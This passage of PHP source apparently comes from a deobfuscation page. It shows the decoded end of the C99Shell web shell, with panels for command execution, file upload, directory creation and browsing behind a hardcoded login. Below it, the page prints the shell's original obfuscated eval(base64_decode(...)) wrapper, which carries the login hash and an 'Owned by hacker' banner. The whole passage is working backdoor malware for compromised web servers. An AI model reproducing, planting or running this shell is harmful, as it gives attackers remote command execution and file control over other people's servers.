        "ext_hpp" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANFWLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVRUqUagnbLdZa+YFcCADs=",
        "ext_htaccess" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJAAA7",
        "ext_html" => "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNzc////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3PKIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDkBkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIRADs=",
        "ext_jpg" => "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEciCi8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftdFxEAOw==",
        "ext_js" => "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibHk0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhsa00AjYYBbc/o9HjNniUAADs=",
        "ext_lnk" => "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjONSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHziUww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABkAAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDGMymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQADs=",
        "ext_log" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wNzLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
        "ext_php" => "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlgt0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
        "ext_pl" => "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMoGLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
        "ext_swf" => "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/OnAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GAGBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgCNysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
        "ext_tar" => "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JICWv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XFHgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGDUyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17puo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkgGwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMdHUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FBu4tLAgEAOw==",
        "ext_txt" => "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJSArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7UpPWG3Ig6Hq/XmRjuZwkAAA7",
        "ext_wri" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoaoa4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
        "ext_xml" => "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACAgDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICxOAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQIQA7"
    );
    $imgequals = array(
        "ext_tar" => array(
            "ext_tar",
            "ext_r00",
            "ext_ace",
            "ext_arj",
            "ext_bz",
            "ext_bz2",
            "ext_tbz",
            "ext_tbz2",
            "ext_tgz",
            "ext_uu",
            "ext_xxe",
            "ext_zip",
            "ext_cab",
            "ext_gz",
            "ext_iso",
            "ext_lha",
            "ext_lzh",
            "ext_pbk",
            "ext_rar",
            "ext_uuf"
        ) ,
        "ext_php" => array(
            "ext_php",
            "ext_php3",
            "ext_php4",
            "ext_php5",
            "ext_phtml",
            "ext_shtml",
            "ext_htm"
        ) ,
        "ext_jpg" => array(
            "ext_jpg",
            "ext_gif",
            "ext_png",
            "ext_jpeg",
            "ext_jfif",
            "ext_jpe",
            "ext_bmp",
            "ext_ico",
            "ext_tif",
            "tiff"
        ) ,
        "ext_html" => array(
            "ext_html",
            "ext_htm"
        ) ,
        "ext_avi" => array(
            "ext_avi",
            "ext_mov",
            "ext_mvi",
            "ext_mpg",
            "ext_mpeg",
            "ext_wmv",
            "ext_rm"
        ) ,
        "ext_lnk" => array(
            "ext_lnk",
            "ext_url"
        ) ,
        "ext_ini" => array(
            "ext_ini",
            "ext_css",
            "ext_inf"
        ) ,
        "ext_doc" => array(
            "ext_doc",
            "ext_dot"
        ) ,
        "ext_js" => array(
            "ext_js",
            "ext_vbs"
        ) ,
        "ext_cmd" => array(
            "ext_cmd",
            "ext_bat",
            "ext_pif"
        ) ,
        "ext_wri" => array(
            "ext_wri",
            "ext_rtf"
        ) ,
        "ext_swf" => array(
            "ext_swf",
            "ext_fla"
        ) ,
        "ext_mp3" => array(
            "ext_mp3",
            "ext_au",
            "ext_midi",
            "ext_mid"
        ) ,
        "ext_htaccess" => array(
            "ext_htaccess",
            "ext_htpasswd",
            "ext_ht",
            "ext_hta",
            "ext_so"
        )
    );
    if (!$getall)
    {
        header("Content-type: image/gif");
        header("Cache-control: public");
        header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
        header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
        header("Last-Modified: " . date("r", filemtime(__FILE__)));
        foreach ($imgequals as $k => $v)
        {
            if (in_array($img, $v))
            {
                $img = $k;
                break;
            }
        }
        if (empty($images[$img]))
        {
            $img = "small_unk";
        }
        if (in_array($img, $ext_tar))
        {
            $img = "ext_tar";
        }
        echo base64_decode($images[$img]);
    }
    else
    {
        foreach ($imgequals as $a => $b)
        {
            foreach ($b as $d)
            {
                if ($a != $d)
                {
                    if (!empty($images[$d]))
                    {
                        echo ("Warning! Remove \$images[" . $d . "]<br>");
                    }
                }
            }
        }
        natsort($images);
        $k = array_keys($images);
        echo "<center>";
        foreach ($k as $u)
        {
            echo $u . ":<img src=\"" . $surl . "act=img&img=" . $u . "\" border=\"1\"><br>";
        }
        echo "</center>";
    }
    exit;
}
if ($act == "about")
{
    echo "<center><b>Credits:<br><br>Kudos to the &quot;Original Creators&quot; of C99Shell.<br><br>and <u>KaizenLouie</u> for Latest safe-build and update for PHP 7.<br><br>Thanks to all who reported the bugs.<br>If there are more bugs, please create an issue in https://github.com/KaizenLouie/C99Shell-PHP7 </b>";
} ?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als)
{
    echo "<option value=\"" . htmlspecialchars($als[1]) . "\">" . htmlspecialchars($als[0]) . "</option>";
} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>maintained by</b></u></a> KaizenLouie | <a href="https://github.com/KaizenLouie/C99Shell-PHP7"><font color="#FF0000">C99Shell Github</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime() - starttime, 4); ?> ]--</b></p></td></tr></table>
</body></html><?php chdir($lastdir);

c99shexit(); 
} else {
?>
    <form action="" method="post" ><input size=35 type=text name="userLogin" placeholder="user" /><input size=35 type=password name="passLogin" placeholder="password" /><input type=submit value="Login" style="display:inline;margin-left: 20px" /></form>
<?php
 print("Unauthrized");
}

Did this file decode correctly?

Original Code

<?php
eval(base64_decode("JHNoZWxsVXNlciA9ICJqb19NY0pSa0hvIjskc2hlbGxNRDUgPSAiYTAzNmUwZmNmZDQwOTg2Nzdl
ZjUxZjVjZTkyNDM5ZWYiOy8qDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioNCiAgICAgICBfX19fX19fXyAgX19fX19fX18gICAgX19fX19fX19fLl9fICAgICAg
ICAgICAuX18gIC5fXyAgICAgICAgICAgICBfX19fX19fXyAgICAgX19fX19fXyAgIA0KICBfX19f
LyAgIF9fICAgXC8gICBfXyAgIFwgIC8gICBfX19fXy98ICB8X18gICBfX19fIHwgIHwgfCAgfCAg
IF9fXyAgX18gIFxfX19fXyAgXCAgICBcICAgXyAgXCAgDQpfLyBfX19cX19fXyAgICAvXF9fX18g
ICAgLyAgXF9fX19fICBcIHwgIHwgIFxfLyBfXyBcfCAgfCB8ICB8ICAgXCAgXC8gLyAgIC8gIF9f
X18vICAgIC8gIC9fXCAgXCANClwgIFxfX18gIC8gICAgLyAgICAvICAgIC8gICAvICAgICAgICBc
fCAgIFkgIFwgIF9fXy98ICB8X3wgIHxfXyAgXCAgIC8gICAvICAgICAgIFwgICAgXCAgXF8vICAg
XA0KIFxfX18gID4vX19fXy8gICAgL19fX18vICAgL19fX19fX18gIC98X19ffCAgL1xfX18gID5f
X19fL19fX18vICAgXF8vIC9cIFxfX19fX19fIFwgL1wgXF9fX19fICAvDQogICAgIFwvICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIFwvICAgICAgXC8gICAgIFwvICAgICAgICAgICAgICAgICAg
XC8gICAgICAgICBcLyBcLyAgICAgICBcLyANCiBfICAgICAgICAgICAgIF8gICBfXyAgICAgIF8g
ICAgICAgICAgICAgICBfICAgICAgICAgICAgICAgICBfICAgICAgDQp8IHwgICAgICAgICAgIHwg
fCAvIC8gICAgIChfKSAgICAgICAgICAgICB8IHwgICAgICAgICAgICAgICAoXykgICAgIA0KfCB8
X18gIF8gICBfICB8IHwvIC8gIF9fIF8gXyBfX19fX19fIF8gX18gfCB8ICAgICBfX18gIF8gICBf
IF8gIF9fXyANCnwgJ18gXHwgfCB8IHwgfCAgICBcIC8gX2AgfCB8XyAgLyBfIFwgJ18gXHwgfCAg
ICAvIF8gXHwgfCB8IHwgfC8gXyBcDQp8IHxfKSB8IHxffCB8IHwgfFwgIFwgKF98IHwgfC8gLyAg
X18vIHwgfCB8IHxfX198IChfKSB8IHxffCB8IHwgIF9fLw0KfF8uX18vIFxfXywgfCBcX3wgXF8v
XF9fLF98Xy9fX19cX19ffF98IHxfXF9fX19fL1xfX18vIFxfXyxffF98XF9fX3wNCiAgICAgICAg
X18vIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgDQogICAgICAgfF9fXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIA0KKgkJCWM5OXNoZWxsLnBocCB2LjIuMCAoUEhQIDcpICgyNS4wMi4y
MDE5KSBVcGRhdGVkIGJ5OiBLYWl6ZW5Mb3VpZSBmb3IgUEhQIDcNCioJCQlodHRwczovL2dpdGh1
Yi5jb20vS2FpemVuTG91aWUvQzk5U2hlbGwtUEhQNw0KKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqDQoqLw0KDQoNCmZ1bmN0aW9uIGNsZWFuKCRkYXRhKSB7DQog
ICAgJGRhdGEgPSB0cmltKCRkYXRhKTsNCiAgICAkZGF0YSA9IHN0cmlwc2xhc2hlcygkZGF0YSk7
DQogICAgJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCRkYXRhKTsNCiAgICByZXR1cm4gJGRhdGE7
DQp9DQoNCmlmICghZW1wdHkoJF9QT1NUWyd1c2VyTG9naW4nXSkgJiYgIWVtcHR5KCRfUE9TVFsn
cGFzc0xvZ2luJ10pKSB7DQogICAgJHVzZXIgPSBjbGVhbigkX1BPU1RbJ3VzZXJMb2dpbiddKTsN
CiAgICAkcGFzc3dvcmQgPSBjbGVhbigkX1BPU1RbJ3Bhc3NMb2dpbiddKTsNCiAgICBpZiAoJHVz
ZXIgPT0gJHNoZWxsVXNlciAmJiBtZDUoc2hhMSgkcGFzc3dvcmQpKSA9PSAkc2hlbGxNRDUpIHsN
CiAgICAgICAgc2V0Y29va2llKCJ1c2VyIiwgJHVzZXIsIHRpbWUoKSsyMTYwMCwnLycpOw0KICAg
ICAgICBzZXRjb29raWUoInQzcnIwciIsICRwYXNzd29yZCwgdGltZSgpKzIxNjAwLCcvJyk7DQog
ICAgICAgIGhlYWRlcigiUmVmcmVzaDowIik7DQogICAgfQ0KfQ0KDQppZiAoaXNzZXQoJF9DT09L
SUVbInQzcnIwciJdKSAmJiBtZDUoc2hhMSgkX0NPT0tJRVsidDNycjByIl0pKSA9PSAkc2hlbGxN
RDUgJiYgaXNzZXQoJF9DT09LSUVbInVzZXIiXSkgJiYgJF9DT09LSUVbInVzZXIiXSA9PSAkc2hl
bGxVc2VyKSB7DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkNCnsNCiAg
ICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQ0KICAgIHsNCiAgICAgICAgbGlzdCgkdXNlYywgJHNl
YykgPSBleHBsb2RlKCIgIiwgbWljcm90aW1lKCkpOw0KICAgICAgICByZXR1cm4gKChmbG9hdCkk
dXNlYyArIChmbG9hdCkkc2VjKTsNCiAgICB9DQp9DQplcnJvcl9yZXBvcnRpbmcoNSk7DQpAaWdu
b3JlX3VzZXJfYWJvcnQodHJ1ZSk7DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAw
LCAzKSkgPT0gIndpbiI7DQpkZWZpbmUoInN0YXJ0dGltZSIsIGdldG1pY3JvdGltZSgpKTsNCmlm
IChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQ0Kew0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJz
dHJpcHMiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIHN0cmlwcygmJGFyciwgJGsgPSAiIikN
CiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRhcnIpKQ0KICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhcnIgYXMgJGsgPT4gJHYpDQogICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoc3RydG91cHBlcigkaykgIT0gIkdMT0JB
TFMiKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBzdHJp
cHMoJGFyclsiJGsiXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgJGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTsNCiAgICAgICAgICAgIH0NCiAgICAg
ICAgfQ0KICAgIH0NCiAgICBzdHJpcHMoJEdMT0JBTFMpOw0KfQ0KJF9SRVFVRVNUID0gYXJyYXlf
bWVyZ2UoJF9DT09LSUUsICRfR0VULCAkX1BPU1QpOw0KZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRr
ID0+ICR2KQ0Kew0KICAgIGlmICghaXNzZXQoJCRrKSkNCiAgICB7DQogICAgICAgICQkayA9ICR2
Ow0KICAgIH0NCn0NCiRzaHZlciA9ICIyLjAgW1BIUCA3IFVwZGF0ZV0gWzI1LjAyLjIwMTldIjsN
CmlmICghZW1wdHkoJHVuc2V0X3N1cmwpKQ0Kew0KICAgIHNldGNvb2tpZSgiYzk5c2hfc3VybCIp
Ow0KICAgICRzdXJsID0gIiI7DQp9DQplbHNlaWYgKCFlbXB0eSgkc2V0X3N1cmwpKQ0Kew0KICAg
ICRzdXJsID0gJHNldF9zdXJsOw0KICAgIHNldGNvb2tpZSgiYzk5c2hfc3VybCIsICRzdXJsKTsN
Cn0NCmVsc2UNCnsNCiAgICAkc3VybCA9ICRfUkVRVUVTVFsiYzk5c2hfc3VybCJdOw0KfQ0KJHN1
cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IHRydWU7DQppZiAoJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSBh
bmQgISRfUkVRVUVTVFsiYzk5c2hfc3VybCJdKQ0Kew0KICAgICRpbmNsdWRlID0gIiYiOw0KICAg
IGZvcmVhY2ggKGV4cGxvZGUoIiYiLCBnZXRlbnYoIlFVRVJZX1NUUklORyIpKSBhcyAkdikNCiAg
ICB7DQogICAgICAgICR2ID0gZXhwbG9kZSgiPSIsICR2KTsNCiAgICAgICAgJG5hbWUgPSB1cmxk
ZWNvZGUoJHZbMF0pOw0KICAgICAgICAkdmFsdWUgPSB1cmxkZWNvZGUoJHZbMV0pOw0KICAgICAg
ICBmb3JlYWNoIChhcnJheSgNCiAgICAgICAgICAgICJodHRwOi8vIiwNCiAgICAgICAgICAgICJo
dHRwczovLyIsDQogICAgICAgICAgICAic3NsOi8vIiwNCiAgICAgICAgICAgICJmdHA6Ly8iLA0K
ICAgICAgICAgICAgIlxcXFwiDQogICAgICAgICkgYXMgJG5lZWRsZSkNCiAgICAgICAgew0KICAg
ICAgICAgICAgaWYgKHN0cnBvcygkdmFsdWUsICRuZWVkbGUpID09PSAwKQ0KICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkgLiAiPSIg
LiB1cmxlbmNvZGUoJHZhbHVlKSAuICImIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAg
IH0NCiAgICBpZiAoJF9SRVFVRVNUWyJzdXJsX2F1dG9maWxsX2luY2x1ZGUiXSkNCiAgICB7DQog
ICAgICAgICRpbmNsdWRlc3RyIC49ICJzdXJsX2F1dG9maWxsX2luY2x1ZGU9MSYiOw0KICAgIH0N
Cn0NCmlmIChlbXB0eSgkc3VybCkpDQp7DQogICAgJHN1cmwgPSAiPyIgLiAkaW5jbHVkZXN0cjsN
Cn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQokdGltZWxpbWl0ID0gMDsNCiRs
b2dpbiA9ICIiOw0KJHBhc3MgPSAiIjsNCiRtZDVfcGFzcyA9ICIiOw0KJGhvc3RfYWxsb3cgPSBh
cnJheSgNCiAgICAiKiINCik7DQokbG9naW5fdHh0ID0gIlJlc3RyaWN0ZWQgYXJlYSI7DQokYWNj
ZXNzZGVuaWVkbWVzcyA9ICI8YSBocmVmPVwiaHR0cHM6Ly9naXRodWIuY29tL0thaXplbkxvdWll
L0M5OVNoZWxsLVBIUDdcIj5jOTlzaGVsbCB2LiIgLiAkc2h2ZXIgLiAiPC9hPjogYWNjZXNzIGRl
bmllZCI7DQokZ3ppcGVuY29kZSA9IHRydWU7DQokdXBkYXRlbm93ID0gZmFsc2U7DQokYzk5c2hf
dXBkYXRldXJsID0gImh0dHBzOi8vZ2l0aHViLmNvbS9LYWl6ZW5Mb3VpZS9DOTlTaGVsbC1QSFA3
LyI7DQokYzk5c2hfc291cmNlc3VybCA9ICJodHRwczovL2dpdGh1Yi5jb20vS2FpemVuTG91aWUv
Qzk5U2hlbGwtUEhQNy8iOw0KJGZpbGVzdGVhbHRoID0gdHJ1ZTsNCiRkb25hdGVkX2h0bWwgPSAi
PGNlbnRlcj48Yj5Pd25lZCBieSBoYWNrZXI8L2I+PC9jZW50ZXI+IjsNCiRkb25hdGVkX2FjdCA9
IGFycmF5KA0KICAgICIiDQopOw0KJGN1cmRpciA9ICIuLyI7DQokdG1wZGlyID0gIiI7DQokdG1w
ZGlyX2xvZyA9ICIuLyI7DQokbG9nX2VtYWlsID0gInVzZXJAaG9zdC50bGQiOw0KJHNvcnRfZGVm
YXVsdCA9ICIwYSI7DQokc29ydF9zYXZlID0gdHJ1ZTsNCiRmdHlwZXMgPSBhcnJheSgNCiAgICAi
aHRtbCIgPT4gYXJyYXkoDQogICAgICAgICJodG1sIiwNCiAgICAgICAgImh0bSIsDQogICAgICAg
ICJzaHRtbCINCiAgICApICwNCiAgICAidHh0IiA9PiBhcnJheSgNCiAgICAgICAgInR4dCIsDQog
ICAgICAgICJjb25mIiwNCiAgICAgICAgImJhdCIsDQogICAgICAgICJzaCIsDQogICAgICAgICJq
cyIsDQogICAgICAgICJiYWsiLA0KICAgICAgICAiZG9jIiwNCiAgICAgICAgImxvZyIsDQogICAg
ICAgICJzZmMiLA0KICAgICAgICAiY2ZnIiwNCiAgICAgICAgImh0YWNjZXNzIg0KICAgICkgLA0K
ICAgICJleGUiID0+IGFycmF5KA0KICAgICAgICAic2giLA0KICAgICAgICAiaW5zdGFsbCIsDQog
ICAgICAgICJiYXQiLA0KICAgICAgICAiY21kIg0KICAgICkgLA0KICAgICJpbmkiID0+IGFycmF5
KA0KICAgICAgICAiaW5pIiwNCiAgICAgICAgImluZiINCiAgICApICwNCiAgICAiY29kZSIgPT4g
YXJyYXkoDQogICAgICAgICJwaHAiLA0KICAgICAgICAicGh0bWwiLA0KICAgICAgICAicGhwMyIs
DQogICAgICAgICJwaHA0IiwNCiAgICAgICAgImluYyIsDQogICAgICAgICJ0Y2wiLA0KICAgICAg
ICAiaCIsDQogICAgICAgICJjIiwNCiAgICAgICAgImNwcCIsDQogICAgICAgICJweSIsDQogICAg
ICAgICJjZ2kiLA0KICAgICAgICAicGwiDQogICAgKSAsDQogICAgImltZyIgPT4gYXJyYXkoDQog
